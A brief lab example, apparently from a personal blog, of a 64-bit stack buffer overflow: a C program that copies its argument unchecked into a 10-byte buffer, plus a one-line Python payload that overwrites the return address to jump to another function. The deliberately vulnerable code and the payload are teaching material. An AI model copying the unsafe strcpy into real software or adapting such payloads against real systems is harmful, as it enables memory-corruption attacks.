64bit buffer overflow example
env: kili 64bit vmware #include <stdio.h> #include <string.h> int foo(char * arg0){ char tmp[10]; strcpy(tmp, arg0); printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); printf("tmp add 0x%08x \n",tmp); return 0; } int bar(void){ printf("bar \n"); } int main(int argc, char *argv[]){ printf("foo add : 0x%08x \n", foo); printf("bar add : 0x%08x \n", bar); foo(argv[1]); } ======================================= a.out $(python -c 'print "A"*18+"B"*6+"\x40\x05\xa5"[::-1]')